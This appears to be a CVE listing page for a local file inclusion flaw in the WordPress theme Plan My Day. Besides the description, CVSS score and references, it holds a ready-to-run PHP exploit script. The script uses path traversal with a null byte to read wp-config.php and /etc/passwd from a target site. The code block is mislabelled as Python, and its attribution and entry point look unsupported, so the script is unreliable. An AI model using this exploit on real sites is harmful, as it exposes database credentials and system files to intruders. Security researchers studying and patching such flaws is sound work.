CVE-2025-53435

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Plan My Day planmyday allows PHP Local File Inclusion.This issue affects Plan My Day: from n/a through <= 1.1.13.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:plan_my_day:*:*:*:*:*:wordpress:*:* - VULNERABLE

Plan My Day Theme <= 1.1.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-53435 PoC - Local File Inclusion
// Target: WordPress Plan My Day Theme <= 1.1.13
// Author: PatchStack

$target = 'http://target-site.com/wp-content/themes/planmyday/';

// Read wp-config.php
$exploit_path = 'wp-config.php';
$payload = '../../../../../../' . $exploit_path . '%00';
$url = $target . '?page=' . urlencode($payload);

// Alternative: Read /etc/passwd
$passwd_payload = '../../../../../../etc/passwd%00';
$passwd_url = $target . '?page=' . urlencode($passwd_payload);

echo "[*] CVE-2025-53435 PoC\n";
echo "[*] Target: $target\n";
echo "[*] Exploit URL: $passwd_url\n";
echo "[*] Sending request...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $passwd_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo $response;
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53435
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53435
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53435/
[4] VulDB https://vuldb.com/cve/CVE-2025-53435
[5] https://patchstack.com/database/Wordpress/Theme/planmyday/vulnerability/wordpress-plan-my-day-theme-1-1-13-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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